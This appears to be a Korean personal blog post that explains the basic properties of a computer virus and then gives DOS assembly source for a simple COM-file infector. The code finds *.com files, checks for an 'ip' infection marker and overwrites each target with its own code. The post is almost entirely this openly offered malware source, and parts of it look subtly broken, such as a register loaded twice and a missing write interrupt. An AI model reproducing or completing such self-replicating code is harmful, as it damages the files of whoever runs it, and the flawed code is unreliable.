바이러스의 성질
1. 감염시킬 대상을 찾는다.
2. 이미 감염되었다면 종료한다.
3. 필요한 부분을 그곳에 복사한다.
------------------------------------------------
위 성질대로 코드를 작성한다. (DOS 코드)
------------------------------------------------
.MODEL tiny
.CODE
org 100h ; com 파일은 코드가 100h 번지부터 시작한다.
Begin proc near
......jmp short FindFirstFile ; 지문을 뛰어 넘음
db 'ip' ; 바이러스 지문
FindFirstFile: ; 감염시킬 파일을 찾는다.
mov ah, 4eh
FindFile:
mov cx, 7 ; 모든 속성
mov dx, offset comFile
int 21h
jc Exit
OpenFile: ; 찾은 파일을 연다
mov ax, 3d02h ; 파일 읽고 쓰기로 연다.
mov dx, 9eh ; DTA의 파일명 부분 (DTA=80h_filename위치 1eh)
int 21h
xchg bx, ax ; 파일 핸들을 저장
ReadFile: ; 감염 여부를 체크하기 위해 파일을 읽음
mov ah, 3fh ; 파일을 읽는다.
mov cx, 4 ; 처음부터 4바이트
mov cx, offset Buffer ; 읽어들일 버퍼 설정
int 21h
CheckFile:
cmp word ptr[Buffer+2], 6970h ; 이미 감염되었는지 비교 'ip' = 6970h
jnz InfectFile ; 아니면 감염시킨다.
mov ah, 3eh ; 파일을 닫는다.
int 21h
mov ah, 4fh ; 다음 파일을 찾는다.
jmp FindFile
InfectFile: ; 파일을 감염시킨다.
mov ax, 4200h ; 파일의 처음으로 이동
xor cx, cx
cwd
int 21h
mov ah, 40h ; 파일에 쓰기
mov cx, offset Last-offset Begin ; 바이러스의 크기
mov dx, offset Begin ; 바이러스의 처음부분 부터
CloseFile: ; 파일을 닫는다.
mov ah, 3eh
int 21h
Exit: ; 프로그램 종료
int 20h ; 프로그램 종료
Buffer DB ?,?,?,? ; 파일을 읽어들일 때 쓰일 버퍼
comFile DB '*.com',0 ; 찾을 ASCII 파일명
Last label near ; 끝을 가리키는 레이블
Begin endp
......endp Begin
'MY IT' 카테고리의 다른 글
[STL] LIST (0) | 2006.07.15 |
---|---|
프로세서 정보 얻기 (0) | 2006.05.23 |
Shell 정렬 (0) | 2006.04.14 |
패킷 판단 (0) | 2006.04.11 |
calloc으로 2차원 배열 만들기 (0) | 2006.04.11 |